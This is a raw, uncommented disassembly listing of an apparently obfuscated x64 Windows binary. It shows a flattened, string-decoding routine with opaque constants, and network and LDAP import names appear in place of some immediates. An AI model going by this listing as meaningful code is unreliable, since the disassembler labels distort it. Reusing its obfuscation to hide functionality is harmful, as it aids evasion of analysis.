add r11b, r10b
movzx eax, byte [rbp + rbx + 0xac8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073c82
movabs rcx, 0xa9ae7e880e30ec30
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x14007492f
movabs rdx, 0xd87e42af26bc8548
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400748fc
movabs rdx, 0x74e06d63f481e60
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073c82
movabs rcx, 0x361dcafd57d3b778
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x48
jmp 0x1400748c1
movabs rdx, 0x64ed8f24705f5090
jmp 0x140074476
movabs rdx, 0x93bd534b88eae9a8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140073c82
movabs rcx, 0xc28d1772a17682c0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x140073c82
movabs rdx, 0xf15cdb99ba021bd8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074867
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400743f4
lea rcx, [rbx + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
jmp 0x140074219
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074432
movabs rcx, 0x28f4e8cafc8c7108
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rbx + 0xac8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073c82
inc rax
cmp r8, rax
jne 0x140074463
movabs rdx, 0xfa2524a3e400d7f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14007492f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140074495
movabs rdx, 0x3ee6140781d27390
mov ecx, 8
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400747c6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140074219
movabs rcx, 0x10164fe06946da78
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
dec rbx
inc rbx
jmp 0x140073c82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400744fe
movabs rdx, 0x3d6f5d307ad2a98c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074867
inc rax
cmp r8, rax
jne 0x140074533
movabs rcx, 0xe9f990962471074
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
inc r9
dec rbx
inc rbx
jmp 0x140073c82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007456b
movabs rdx, 0xdfcfd4e249bb775c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140073c82
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140074599
movabs rcx, 0x82304c9418a4452c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x34
jmp 0x1400748c1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400745cb
movabs rdx, 0x2490c445e78d12fc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400748ff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400741bb
movabs rdx, 0xc6f13bf7b675e0cc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xac8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073c82
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140074650
movabs rcx, 0x51e9d195f918e210
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rbx + 0xac8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073c82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007467d
movabs rcx, 0xf44a4947c801afe0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1400748ff
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007469a
movabs rdx, 0x96aac0f996ea7db0
mov ecx, Ordinal_26
jmp 0x1400748ac
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400746c7
movabs rcx, 0x67dafcd27e5ee498
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400747c6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007416a
movabs rcx, 0x390b38ab65d34b80
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x140073c82
movabs rdx, 0x7dcc280f03a4e720
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xac8]
add r11b, dl
add r11b, r10b
jmp 0x1400747c6
movabs rcx, 0x4efc63e7eb194e08
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xac8]
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400748ff
movabs rcx, 0xcccc1753d27508dc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
jmp 0x1400748ff
movabs rcx, 0x2a6b9fa2038c3b0c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x1400748c1
movabs rdx, 0x593b63c91c17d424
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x666445fb775f1a94
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0xc
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xac8], cl
jmp 0x1400748c1
movabs rcx, 0xb6daec174d2f0654
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
inc r9
dec rbx
inc rbx
jmp 0x140073c82
movabs rdx, 0xe5aab03e65ba9f6c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074867
movabs rcx, 0x434a388c96d1d19c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
movabs rdx, 0x95340a228feab3ac
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xac8], cl
inc r9
dec rbx
inc rbx
jmp 0x140073c82
movabs rdx, 0xfe894928f90035fc
mov ecx, recv
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073c82
mov r10, rdi
movabs rdx, 0x5c28d1772a17682c
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x34
add r11b, dl
movabs rcx, 0x379481d45ed3817c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x64
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xac8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x202c9fc0d28db4f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xac8], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xac8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073c82
movabs rdx, 0xb9c859c55b2e9a5c
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx + 0xac8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073c82
movabs rdx, 0xd7078bd81fbcbb44
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140073c80
movabs rdx, 0x5d74fff3848545c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073c70
lea rcx, [rbp + 0x15a9cb8]
jmp 0x140074a1e
lea rcx, [rbp + 0x114d02c]
jmp 0x140074a1e
lea rcx, [rbp + 0xac8]
xor edx, edx
call fcn.14003eb60
mov byte [rbp + 0xaf0], Ordinal_143
mov byte [rbp + 0xaf1], 0xa4
mov byte [rbp + 0xaf2], 0xbf
mov byte [rbp + 0xaf3], 0xa5
mov byte [rbp + 0xaf4], 0xbb
mov byte [rbp + 0xaf5], 0xb5
mov byte [rbp + 0xaf6], 0x56
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaf7], xmm0
mov qword [rbp + 0xb07], rax
mov dword [rbp + 0xb0f], eax
movabs rsi, 0x46ef3b8391ecf4d2
movabs r13, 0xc66cea73fac2240a
movabs r14, 0xbd234cf92769916e
movabs r15, 0x3049781131e5495a
movzx r11d, byte [rsp + 0x50]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400758d9
movzx r10d, byte [rbp + rdi + 0xaf0]
mov rbx, r10
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400758d0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140074afc
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x46
jmp 0x140074b30
je 0x140075841
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007579e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140075767
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007573d
nop dword [rax]
cmp r9, rdi
ja 0x1400758c7
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140074b5f
lea rdx, [rdi + rsi]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074ba0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400756e8
inc rax
cmp r8, rax
je 0x1400756b6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007568b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140075667
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007562d
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140075222
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400751fe
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400751cc
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400751a1
lea rax, [r9 + 2]
cmp r8, rax
je 0x140075178
lea rax, [r9 + 6]
cmp r8, rax
je 0x140075153
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007511a
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400750f5
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400750cc
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140075096
lea rax, [r9 + 3]
cmp r8, rax
je 0x140074bb0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 8]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007589e
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007587a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140074d98
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140074d7d
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140074d5e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140075031
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140074fd0
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140074f7c
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140074f4d
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140074bb0
lea r8, [r9 + 1]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140074f13
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140074eeb
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140074ec5
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140074e91
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140074e68
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140074e44
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140074e15
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140074de7
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140074dc1
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140074bb0
lea r8, [r9 + 5]
lea r9, [r8 + 0x5a]
jmp 0x140074bb0
lea rdx, [rdi + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x140074ba0
lea rcx, [rdi + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x76
jmp 0x140074b30
movabs rdx, 0xa36fa3293c610146
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074ac5
movabs rdx, 0x3779dc1c8f67a690
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075708
movabs rcx, 0xaaa0073499e35e7c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
jmp 0x140074ab2
movabs rdx, 0x1dc6324ca45f1668
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x140074ab2
movabs rcx, 0x90ec5d64aedace54
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
jmp 0x1400755cf
movabs rdx, 0x412887cb9568640
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140075786
movabs rcx, 0x7738b394c3d23e2c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140074ab2
movabs rdx, 0xea5edeacce4df618
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400757c1
movabs rdx, 0x5d8509c4d8c9ae04
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x1400757f7
movabs rdx, 0xd0ab34dce34565f0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
movabs rcx, 0xf08aa098fd7ab1be
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
mov byte [rbp + rdi + 0xaf0], r11b
inc rdi
jmp 0x140074ab2
movabs rdx, 0x63b0cbb107f669aa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 0x40
jb 0x140074f6c
movabs rdx, 0xf656a35e95a5bfc
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14007570b
movabs rdx, 0xd6d6f6c912722196
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1a
add r11b, dl
cmp r8, 0xa
jae 0x1400755a4
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14007544c
movabs rcx, 0x8ee31926522f8b34
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
jmp 0x140074fa0
movabs rdx, 0x49fd21e11cedd982
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1400755ff
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140075348
movabs rdx, 0x47f3dda2c0429662
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140074ff0
movabs rcx, 0xa99b65156b8dbcec
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
movabs rdx, 0x1cc1902d760974d8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400757f7
movabs rdx, 0x8fe7bb4580852cc4
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
jmp 0x1400757c1
movabs rdx, 0x30de65d8b00e4b0
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140074ab2
movabs rcx, 0x76341175957c9c9c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x44
jmp 0x140075786
movabs rdx, 0xe95a3c8d9ff85488
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400755cf
movabs rcx, 0x5c8067a5aa740c74
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x140074ab2
movabs rdx, 0xcfa692bdb4efc460
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140074ab2
movabs rcx, 0x42ccbdd5bf6b7c4c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
jmp 0x14007570b
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140075247
lea rdx, [rdi + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x46
jmp 0x140075052
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140075286
movabs rcx, 0x8dde770723d9e9a4
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
inc rax
cmp r8, rax
jne 0x1400752b6
movabs rdx, 0x1ab84bef195e31b8
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x1400757f7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400752e8
movabs rdx, 0xa79220d70ee279cc
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400757c4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140075315
movabs rcx, 0x4e1f9f8eef6f5208
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400755cf
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140075055
movabs rdx, 0xf4ad1e46cffc2a44
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075708
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140075376
movabs rdx, 0xd4cdb28ab5c6de76
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3a
jmp 0x140075708
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400753aa
movabs rcx, 0xee815c5aa0cf6e9e
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x52
dec rdi
inc rdi
jmp 0x140074ab2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400753d6
movabs rdx, 0x7b5b31429653b6b2
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400755c9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140075405
movabs rdx, 0x21e8affa76e08eee
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400757c1
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140074ff3
movabs rdx, 0x3b9c59ca61e91f16
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007548f
movabs rdx, 0x1bbcee0e47b3d348
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400754d1
movabs rdx, 0xc24a6cc62840ab84
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140074ab2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140075503
movabs rdx, 0xdbfe169613493bac
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400755cf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140075537
movabs rcx, 0x68d7eb7e08cd83c0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140074ab2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140075572
movabs rdx, 0xf5b1c065fe51cbd4
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140074ab2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140074fa0
movabs rdx, 0x828b954df3d613e8
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
jmp 0x140075708
movabs rdx, 0x9c3f3f1ddedea410
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rdi + 0xaf0]
sub r11b, al
sub r11b, 0x70
add r11b, dl
add r11b, r10b
movabs rdx, 0x62ac2991d9a0c81a
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0xaf0], cl
jmp 0x140075786
movabs rdx, 0x29191405d462ec24
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xaf0]
add r11b, r10b
jmp 0x1400757c1
movabs rdx, 0x3a97b7ab33937d86
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
movabs rcx, 0x730640b5d825d36
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
jmp 0x140075786
movabs rcx, 0xed7cba3b7279cd0e
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x62
dec rdi
inc rdi
jmp 0x140074ab2
movabs rdx, 0x60a2e5537cf584fa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140074ab2
movabs rdx, 0xd3c9106b87713ce6
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4a
add r11b, dl
movabs rcx, 0xd5d254a9e41c8006
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2a
add cl, r10b
mov byte [rbp + rdi + 0xaf0], cl
inc r9
dec rdi
inc rdi
jmp 0x140074ab2
movabs rcx, 0xa061bccbb1601c96
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1a
dec rdi
inc rdi
jmp 0x140074ab2
movabs rcx, 0x86ae12fbc6578c6e
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140074ab2
mov r10, rbx
movabs rdx, 0x6cfa692bdb4efc46
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xef85fe79cf25102e
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x42
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xaf0], al
